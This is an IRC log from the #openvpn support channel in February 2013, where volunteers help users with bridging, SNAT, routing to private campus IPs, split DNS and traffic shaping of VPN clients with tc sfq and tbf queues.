14:53 -!- Orbi [~opera@anon-149-22.vpn.ipredator.se] has left #openvpn []
14:53 -!- Orbi [~opera@anon-149-22.vpn.ipredator.se] has joined #openvpn
14:53 < Holiday> well I'm kind of stuck in a hard place as he doesn't want to split the subnet, would like to stick with ethernet bridging, and doesn't want nat/masq (and insists on using that pool of public IP's)
14:53 -!- Orbi [~opera@anon-149-22.vpn.ipredator.se] has left #openvpn []
14:54 < Holiday> I know it's not optimal though
14:54 < pekster> Sure. It's a bad solution, but you can do it anyway
14:54 < Holiday> I just can't get the last part down or so it seems
14:55 < Holiday> for 0.0.0.0 it's setting the gateway 128.118.88.120 (vpn server) if I force gateway on client.. if I don't the 128.118.88.0 gets a gateway of 0.0.0.0
14:55 < pekster> You're wasting header space, you're needlessly sending broadcasts around, and unless you're doing 802.1X or something, you're exposing the entire server-side LAN to possible client attacks by malware of mallicious users including clients setting arbitrary IPs if users/malware is clever enough to do that, or arp-spoofing attacks where a client can redirect traffic of any host
14:55 < pekster> Just be aware of that
14:56 < Holiday> *nod* I understand
14:56 -!- jthunder_ [~jthunder@184.151.222.94] has joined #openvpn
14:56 < Holiday> it's fairly firewalled up on that subnet
14:56 < pekster> Not anymore
14:56 < Holiday> and I understand the vpn clients are an opening
14:56 < pekster> WOuld you let your VPN users connect to a switch on that LAN?
14:56 < pekster> Becuase that's exactly what you're doing
14:57 < pekster> If you're trying to redirect the gateway, you should use the directive for that so the VPN-route itself gets set:
14:57 < pekster> !redirect
14:57 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:57 <@vpnHelper> http://ircpimps.org/redirect.png
14:58 -!- jthunder [~jthunder@184.151.222.94] has quit [Ping timeout: 260 seconds]
14:58 -!- jthunder_ is now known as jthunder
14:58 < Holiday> I un-commented the push "redirect-gateway def1 bypass-dhcp" but still a no go when I try to ping anything
14:59 < Holiday> he manually setup the bridge and like I said he can route via it
14:59 < Holiday> and I can ping it from a connected client but can't get to the other physical eth interface or outside
14:59 < pekster> Then it's a firewall issue. Still.
14:59 < pekster> If you can ping the VPN endpoint, the VPn is working just fine
14:59 < Holiday> he shut down the firewall
15:00 < pekster> Then go tcpdump
15:04 -!- jthunder [~jthunder@184.151.222.94] has quit [Remote host closed the connection]
15:04 < Holiday> tcpdump is showing my client on the bridge
15:05 < Holiday> you can see the who-has requests on the bridge etc
15:05 < Holiday> but it also seems to be pulling junk out of its butt lol (looking up hostnames like tmzqetymrd.<domain>
15:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:07 < Holiday> im' going to try with a different client
15:14 -!- bandroid [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
15:21 -!- Holiday [~rjr162@128.118.15.39] has quit [Ping timeout: 245 seconds]
15:26 -!- Holiday [~rjr162@128.118.15.39] has joined #openvpn
15:27 < Valcorb> hey pekster: I've been looking into the issue, and it seems that there is no ethernet interface called eth0, so that might be the issue
15:27 < Valcorb> i have lo, tun0, venet0 and venet0:0
15:28 < pekster> That would be an issue if you expect eth0 to exist, yes
15:29 < Valcorb> yup
15:29 < Valcorb> but i forgot how to use snat, do you know how?
15:29 < pekster> I bet the manpage or help output does
15:29 < pekster> I'll even give you one free: 'iptables -j SNAT -h'
15:30 < pekster> How to use it depends greatly on what you intend to do
15:30 < pekster> See also the MASQUERADE target; both are in iptables-extensions(8)
15:31 < Valcorb> i see
15:31 < Valcorb> thanks
15:39 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:52 -!- gardar [~gardar@gardar.net] has joined #openvpn
15:56 -!- nickanderson is now known as nickanderson_afk
15:56 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:56 -!- mode/#openvpn [+v s7r] by ChanServ
16:07 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:16 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
16:24 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:41 -!- lickalott is now known as lickalottalottap
16:41 -!- lickalottalottap is now known as lickalottapuss
16:42 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
16:45 -!- nickanderson_afk is now known as nickanderson
16:48 -!- lickalottapuss is now known as lickalott
16:52 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 272 seconds]
17:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:01 -!- raidz is now known as raidz_away
17:02 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:15 -!- zz_AsadH is now known as AsadH
17:15 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 246 seconds]
17:21 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
17:22 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
17:22 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
17:28 -!- nickanderson is now known as nickanderson_afk
17:32 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
17:32 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:54 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
17:58 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:00 -!- NChief_ [tomme@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
18:00 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
18:54 -!- AsadH is now known as zz_AsadH
18:58 -!- midgaze [~mreid@155.229.21.75] has left #openvpn []
19:02 -!- raidz_away is now known as raidz
19:13 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
19:13 -!- CaBa [caba@unaffiliated/caba] has quit [Ping timeout: 276 seconds]
19:16 -!- Champi [Champi@rootshell.fr] has joined #openvpn
19:16 -!- p3rror [~mezgani@2001:0:53aa:64c:20c2:2140:d606:e632] has quit [Ping timeout: 245 seconds]
19:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:21 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 240 seconds]
19:27 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
19:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:28 -!- raidz is now known as raidz_away
19:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
19:36 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:01 -!- bjh4 [~bjh4@12.104.144.2] has joined #openvpn
20:08 -!- fatmandown [~fa@ool-457e7fe1.dyn.optonline.net] has joined #openvpn
20:10 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
20:10 < fatmandown> For some reason on both win7 and ubuntu 12.04 I'm hanging on "UDPv4 link remote"
20:10 < fatmandown> just won't connect
20:10 < fatmandown> logs here http://pastebin.com/fj624c9u
20:12 < pekster> fatmandown: firewall issue or the service isn't listening on the IP/port you're trying to reach are the likely issues
20:12 < fatmandown> I feel like it isn't a firewall issue b/c ubuntu doesn't even run a firewall by default I don't think
20:12 < fatmandown> and it's the same error on both partitions
20:12 < pekster> ie: the client isn't even able to complete the initial handshake. tcpdump your data to see what's going on
20:13 < pekster> Or start by checking netstat on your server and work out from there (tcpdump the server's listening interface, etc)
20:13 < fatmandown> the firewall on this computer is disabled completely anyway
20:13 < pekster> And the server?
20:13 < fatmandown> no clue, it's on campus
20:14 < fatmandown> i'm new to most of this
20:14 < pekster> Can you route to it? That's a private IP
20:14 < fatmandown> how would i go about finding that out? i'm somewhat incompetent when it comes to networking
20:15 < pekster> Traceroute to it?
20:17 < pekster> If you're outside of whatever org owns that network it won't work anyway since you can't route private IPs across the Internet https://en.wikipedia.org/wiki/Private_network
20:19 < fatmandown> it's a college campus
20:21 < pekster> Then you can likely assume if you're not inside the campus you can't reach a privately-addressed system on the campus. If you don't control the server-side of the network, you need to get further information from those who do
20:22 < pekster> It's like if I told you to see my friend in Apartment 12. You don't know what address I'm talking about, but it's clear to me what "appt 12" mean
20:25 < fatmandown> Damn. I wasn't made aware of that by the professor
20:28 -!- bjh4 [~bjh4@12.104.144.2] has quit [Read error: Operation timed out]
21:00 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
21:37 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:46 -!- MFSOT [~mfsot@pool-74-106-78-146.spfdma.east.verizon.net] has quit [Ping timeout: 256 seconds]
21:55 -!- chick3n [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has joined #openvpn
21:57 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
21:57 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
21:57 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has quit [Ping timeout: 255 seconds]
22:03 -!- jY [~jy@photoblog.com] has joined #openvpn
22:08 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Read error: Connection reset by peer]
22:53 -!- fatmandown [~fa@ool-457e7fe1.dyn.optonline.net] has quit [Read error: Connection reset by peer]
23:15 -!- bandroid is now known as bandroidx
23:40 -!- jtruckz [~jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
23:40 -!- jtruckz [~jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Client Quit]
23:45 -!- jtruckz [~jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
23:48 -!- jtruckz [~jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: BBL]
--- Day changed Thu Feb 14 2013
00:04 -!- jtruckz [~jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
00:04 -!- jtruckz [~jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: BBL]
01:07 -!- b1rkh0ff [~b1rkh0ff@178.77.22.0] has quit [Ping timeout: 272 seconds]
01:19 -!- b1rkh0ff [~b1rkh0ff@178.77.1.72] has joined #openvpn
01:42 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
02:23 -!- p3rror [~mezgani@2001:0:53aa:64c:ca5:6914:d606:a524] has joined #openvpn
02:33 -!- chick3n [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has quit [Read error: Connection reset by peer]
02:44 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 272 seconds]
03:01 -!- Devastator [~devas@186.214.111.94] has joined #openvpn
03:16 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 276 seconds]
03:19 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
03:20 -!- zz_AsadH is now known as AsadH
03:26 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:56 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Remote host closed the connection]
03:56 -!- md_5- [md_5@mcdevs/trusted/md-5] has joined #openvpn
04:06 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:17 -!- Devastator [~devas@186.214.111.94] has quit [Changing host]
04:17 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
04:22 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
04:23 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
04:30 -!- dazo_afk is now known as dazo
05:04 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:20 -!- md_5- is now known as md_5
05:55 -!- Saviq_ [~Saviq@178.182.180.40.nat.umts.dynamic.t-mobile.pl] has joined #openvpn
05:55 -!- Saviq_ [~Saviq@178.182.180.40.nat.umts.dynamic.t-mobile.pl] has quit [Client Quit]
06:43 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
06:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B5322D.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:05 -!- master_of_master [~master_of@p57B52CEE.dip.t-dialin.net] has joined #openvpn
07:14 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection timed out]
07:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
07:18 -!- MFSOT [~mfsot@pool-74-106-78-146.spfdma.east.verizon.net] has joined #openvpn
07:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:28 -!- MFSOT [~mfsot@pool-74-106-78-146.spfdma.east.verizon.net] has quit [Quit: MFSOT]
07:45 -!- p3rror [~mezgani@2001:0:53aa:64c:ca5:6914:d606:a524] has quit [Ping timeout: 245 seconds]
07:45 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:07 -!- nickanderson_afk is now known as nickanderson
08:12 -!- nickanderson [~cmdln@ginger.pilgrimpage.com] has left #openvpn []
08:20 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:24 -!- Saviq_ [~Saviq@178.180.221.108.nat.umts.dynamic.t-mobile.pl] has joined #openvpn
08:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
08:30 -!- Saviq_ [~Saviq@178.180.221.108.nat.umts.dynamic.t-mobile.pl] has quit [Ping timeout: 248 seconds]
08:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:31 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
08:44 -!- p3rror [~mezgani@2001:0:53aa:64c:c41:26b2:d606:a524] has joined #openvpn
08:49 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:54 -!- knobo [~bohmer@81.175.44.217] has joined #openvpn
08:56 < knobo> I have trouble connecting with openvpn from one host (host1) to the server, but another host (host2) goes fine. How can I debug this?
08:56 < knobo> I get: Thu Feb 14 15:55:38 2013 TCP: connect to server::10101 failed, will try again in 5 seconds: Connection timed out
08:57 < knobo> "nmap -sU -p 10101 -v SERVER" says: Host "SERVER" appears to be up ... good.
08:58 < knobo> and PORT      STATE         SERVICE\n 10101/udp open|filtered unknown
08:58 < knobo> the client which does not work is an debian lenny installation
08:59 < knobo> and it is behind a different network then the one that works.
08:59 < knobo> ssh works fin though.
09:00 < knobo> I tried to change proto to tcp, and it did not help
09:01 < rob0> TCP is not recommended. Please read the entire /topic, as it said you should do. :) There are too many variables to begin to guess. Make a pastebin.
09:02 < knobo> host1 runs OpenVPN 2.1_rc11, and the server runs OpenVPN 2.1.0
09:02 -!- gitsu-sa [~user@unaffiliated/gitsu-sa] has joined #openvpn
09:02 < gitsu-sa> hey; any idea to lock some app to openvpn under Linux?
09:02 < gitsu-sa> i would like to stop them working when openvpn is disconnected
09:03 < rob0> "lock"? If you tell the app to use your tunnel IP address, it will.
09:03 < gitsu-sa> and what it will do when openvpn is down?
09:04 < rob0> heh
09:04 < gitsu-sa> and btw i don't know my tunnel IP, is random
09:04 < rob0> Please read the entire /topic, as it said you should do. :)
09:04 < rob0> !welcome
09:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
09:04 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:04 < rob0> !goal
09:04 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:05 < gitsu-sa> i would like that some apps can access to internet only when openvpn is up
09:05 < gitsu-sa> :o
09:07 < rob0> maybe you want to script something, and/or seek help specific to these unnamed apps.
09:11 < gitsu-sa> than  a more easy thing like: internet access only by the openvpn?
09:11 < rob0> !redirect
09:11 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:11 <@vpnHelper> http://ircpimps.org/redirect.png
09:11 < rob0> !def1
09:11 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:13 < gitsu-sa> are you sure that this will block internet access when openvpn is down?
09:19 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
09:27 < knobo> http://pastebin.com/wV9RerTu
09:27 < knobo> Here is the config, and also a the result of the command
09:27 < knobo> when I run it on the client that does not work.
09:29 < rob0> aha, this is simple. You're not running a server, you're running p2p mode. Only one connection is possible unless you use multi-client "server" mode. See --mode in the manual.
09:29 < knobo> When I run it from another client, it woks fine
09:29 < knobo> But I'm not connecting with two clients
09:29 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
09:30 < knobo> I only tried the other client, because it does not work from the other.
09:30 < knobo> As it says in the topic, it is most likely the firewall
09:30 < knobo> But can I test that?
09:31 < rob0> depends on your OS and your firewall, and would not directly be on topic here.
09:31 < knobo> ok. Any other suggestions?
09:33 < rob0> If it just times out when you try to connect, it means it's not reaching the other openvpn peer for some reason. That reason would of course be outside openvpn.
09:34 < rob0> Are you sure that "server" is resolving correctly on each of the connecting peers? Try using the IP address to eliminate that.
09:41 -!- jY [~jy@photoblog.com] has left #openvpn []
09:53 < knobo> I did use ip address, but i changed it to anonymize it.
10:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:08 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
10:36 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
10:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:53 -!- raidz_away is now known as raidz
10:55 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:00 -!- AsadH is now known as zz_AsadH
11:01 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 260 seconds]
11:03 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:06 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
11:06 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
11:08 -!- r3zon8 [~r3zon8@vpn.interimhealthcare.com] has left #openvpn []
11:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:22 -!- nahmaste [~namaste@c-69-181-131-136.hsd1.ca.comcast.net] has joined #openvpn
11:25 < nahmaste> is it possible to use the DNS on the other side of an openvpn connection while not breaking name lookup on the local LAN thats served by a local DNS server?  so i want to be able to look up hostA on the local LAN (which is known to local DNS serverA) and also look up hostB on the remote LAN (which is known to remote DNS serverB)
11:26 <@krzee> !splitdns
11:26 <@vpnHelper> "splitdns" is see http://www.thekelleys.org.uk/dnsmasq/doc.html for dnsmasq, which will let you do split-dns setups
11:26 <@krzee> it's unrelated to openvpn, but thats how you do it ^
11:29 < nahmaste> krzee: thanks for the link.  im currently using bind9/named on the local LAN... so i'd have to replace it with dnsmasq for splitdns, or can it be done with the former?
11:29 <@krzee> dnsmasq
11:29 < pekster> BIND can do it too
11:29 <@krzee> *shrug*
11:29 < pekster> It's just more complicated to use BIND than dnsmasq
11:29 <@krzee> using views?
11:29 < rob0> views
11:30 <@krzee> heh ya i guess that works too
11:30 <@krzee> never used bind views for anything more than IRC host spoofing lol
11:30 < pekster> views are common on corporate setups running split-DNS
11:30 <@krzee> (tell the irc nameserver it resolves, but the rest of the world it doesnt)
11:31 < nahmaste> thanks for the info guys, ill look into it
11:32 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
11:38 <+hazardous> hi crazy hi pek, mornin
11:39 <@krzee> mornin
11:41 -!- zz_AsadH is now known as AsadH
11:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:47 -!- dazo is now known as dazo_afk
11:49 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
11:50 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 260 seconds]
11:57 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has joined #openvpn
12:03 < bandroidx> anyone know if there is an easy way to limit bandwith depending on the number of connected users on an openvpn server, like full 100mbit if 1 users, 50/50 if 2 users, 30/30/30 if 3 users, etc?
12:03 < pekster> QoS
12:03 < bandroidx> yes the shaping part is not a problem
12:04 < bandroidx> its the based on number of openvpn users that is
12:04 < bandroidx> i am wondering if its going to have ot involve some in depth scripting based on connect/disconnect scripts
12:04 < pekster> Not really. your example suggests you want to use the link and fairly queue for backend clients
12:05 < bandroidx> oh good point
12:05 < pekster> I'd just use a queue like sfq at leaf nodes (in the Linux/tc world) and call it go
12:05 < bandroidx> i am over thinking it
12:05 < pekster> good*
12:05 < pekster> hfsc/htb can be used too, but yea, you need rules and crap to put clients into buckets; that's messy, and unless you have some real need, probably pointless
12:06 < bandroidx> i was planning on going with htb
12:06 < bandroidx> now i realize thats not ideal
12:06 < pekster> Check out sfq leaf qdiscs
12:06 < pekster> I have great success with those on the end of my egrees queues
12:07 < bandroidx> and since its all through an openvpn tunnel they cant blow through it by opening many connections
12:07 < pekster> Basically, it insures that no single stream of traffic can "dwarf out" the others
12:07 < pekster> Easy fix for you then: use tbf at the root, and put sfq under it
12:07 < pekster> Done
12:08 < pekster> No htb, no dynamic rules, none of that
12:08 < bandroidx> sweet
12:08 < bandroidx> and if they open like 10 ftp connections it wont matter because its over 1 single tunnel connection
12:09 < bandroidx> would i even need a token bucket filter at the rooT?
12:09 < pekster> Not if your upstream queuing is okay
12:09 < pekster> I'm on cable, and that crap has NASTY large queues, so I really require a tbf at my root to avoid flooding it
12:09 < pekster> I can literally get 30 second (not ms, 30 *second*) ping times by flooding upload
12:10 < bandroidx> ahh
12:10 < bandroidx> this is a dedi
12:10 < bandroidx> so it should be ok i think
12:10 < bandroidx> 100/100 dedi
12:10 < pekster> Still depends how upstream works ;)
12:10 < bandroidx> true
12:10 < bandroidx> seems the example will work at first glance
12:10 < bandroidx> http://pastie.org/6166422
12:12 < bandroidx> this is the original: http://pastie.org/6166434 - is whats shown the bottom auto generated based on whats in the sfq.tcc? i am not clear what is going on t here
12:13 < pekster> I have nfi what "sfq.tcc' is
12:13 < bandroidx> its a file they made
12:13 < pekster> Right
12:13 < bandroidx> what is odd they are using tcc
12:13 < bandroidx> the command is tc
12:14 < bandroidx> so i am confused lol
12:14 < pekster> no clue what tcc is either
12:14 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:14 < bandroidx> odd they would have a typo on their own howto
12:14 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
12:14 < pekster> You don't pipe 'tc' commands to the 'tc' commanad...
12:14 < pekster> It's some random paste online; maybe it's just wrong ;)
12:14 < bandroidx> so then tcc must be something different
12:15 < pekster> Lots of bad/crappy/wrong guides on "The Internet"
12:15 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Remote host closed the connection]
12:15 < bandroidx> i thought this was the official tc howto though lol
12:15 < pekster> my qdisc on my uplink, as reported by 'tc qdisc show dev eth0.1' http://fpaste.org/iGCf/
12:15 < pekster> http://lartc.org/howto/ <-- the most "official" howto you're going to find
12:16 <@vpnHelper> Title: Linux Advanced Routing & Traffic Control HOWTO (at lartc.org)
12:16 < bandroidx> your uplink is like 3mbit?
12:16 < pekster> give or take, yea
12:16 < pekster> You don't need the htb/prio stuff (that's for me to do filtering based on netfilter CLASSIFY targets)
12:17 < pekster> The things you want to note is my tbf at the root (if you need a "master speed" knob) and sfq as a leaf-qdisc
12:17 < pekster> The rest is just a sample thta may not be suitable for you
12:17 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:17 < pekster> 2:1 is my prio band 0 for "realtime" traffic, 2:2 is where sfq sits for all my client's "normal" traffic, and 2:3 is strictly for bittorrent/DHT
12:18 < pekster> (hence a priomap of all 1's to drop unclassified things into 2:2)
12:18 < pekster> Again, that's all not really useful for you, I think
12:19 < bandroidx> can i see your priomap?
12:19 < bandroidx> i want to do something similiar on my home connection
12:19 < pekster> It's all there dude
12:19 < bandroidx> how does it know what is bittorrent?
12:19 < pekster> netfilter
12:20 < bandroidx> ah so you have netfilter setup to put the various traffic into different bands?
12:20 < pekster> http://fpaste.org/dpoB/
12:20 < pekster> see iptables-extensions(8) for the CLASSIFY target
12:20 < bandroidx> ahhh ok, i did some work with classify in the past, i forget what for
12:20 < pekster> You can do it in tc filter rules too
12:21 < pekster> I hate tc-filter, becuase it *still* lacks a lousy manpage
12:21 < bandroidx> so bittorrent/dht are on 1119 and 6112?
12:21 < pekster> netfilter is statefully aware anyway
12:21 < pekster> No
12:21 < pekster> 2:1 is prio band 0
12:21 < pekster> "realtime"
12:21 < bandroidx> ahhh what do you use that for? sip?
12:21 < pekster> games
12:21 < bandroidx> ahh ok
12:22 < bandroidx> where does that catch bittorrent?
12:22 < pekster> line 7-9
12:22 < pekster> It's a secondary IP on that host
12:22 < bandroidx> ahhhhhh
12:22 < bandroidx> ok now i get it :)
12:22 < pekster> line 9 doesn't actually "accpet" the packet, just short-circuits the rules so stupid peer can't get priority through me by using gaming ports
12:23 < bandroidx> got you, it just sets the class
12:23 < pekster> I could technically re-write that all using tc filters. But netfilter is better anyway since you can use the powerful state system
12:23 < pekster> Yup
12:23 < bandroidx> where is TOS used?
12:23 < bandroidx> i see your setting TOS
12:23 < bandroidx> is that a code netfilter uses directly?
12:24 < pekster> https://en.wikipedia.org/wiki/IPv4#Packet_structure
12:24 <@vpnHelper> Title: IPv4 - Wikipedia, the free encyclopedia (at en.wikipedia.org)
12:24 < bandroidx> ah ok your setting it for down stream?
12:28 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:29 < bandroidx> pekster: so it seems all i really need to do is tc qdisc add dev tun0 root sfq perturb 10
12:29 < pekster> Yup
12:30 < bandroidx> now i run 2 openvpn servers on the same box, if i also do tc qdisc add dev tun1 root sfq perturb 10
12:30 < bandroidx> will that share equally between them?
12:30 < pekster> (I set ToS for upstream; that's all on egress)
12:30 < bandroidx> or each will be seperately handled
12:30 < bandroidx> ah kk thats what i meant
12:30 < pekster> Not that most routers on the Internet actually bother to use it, but some "might"
12:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:31 < pekster> link-sharing is a more complicated topic. The LARTC howto I link earlier is a good place to start
12:31 < pekster> But, the short answer is that "that won't work how you expect"
12:32 < pekster> You can't just connect 2 separate Internet links into a box and expect to magically double your bandwidth. That's not how it works
12:34 <+EugeneKay> It is on TV
12:35 -!- gitsu-sa [~user@unaffiliated/gitsu-sa] has quit [Read error: Connection reset by peer]
12:35 < bandroidx> i dont mean double my bandwith, i mean i want it to share equally among all on both openvpn servers
12:35 < bandroidx> so if there are 2 on tun0 and 2 on tun1 they would get 25mbit each
12:36 < bandroidx> i am guessing its going to be fair on both tunnels but seprately
12:36 < bandroidx> which means it wont be fair at all
12:36 < bandroidx> i guess i will need to allocate 50mbit to each
12:38 < bandroidx> well forgetting the second server for a second, if i dont set a max bandwith on the root, will it use the interface speed?
12:38 -!- C-S-B [~C-S-B@host81-157-117-86.range81-157.btcentralplus.com] has quit [Ping timeout: 260 seconds]
12:39 < bandroidx> like lets say 3 people connect, one can do 50mbit, the other two can only do 10mbit, will it give the 50mbit user the full 50mbit?
12:39 < bandroidx> i assume it would
12:40 < bandroidx> EugeneKay: i think we are in a lot of the same channels, your nick is so familiar to me
12:41 < bandroidx> ahhh i know you from #koush
12:41 < bandroidx> thats where i see you commonly
12:42 -!- C-S-B [~C-S-B@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
12:43 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
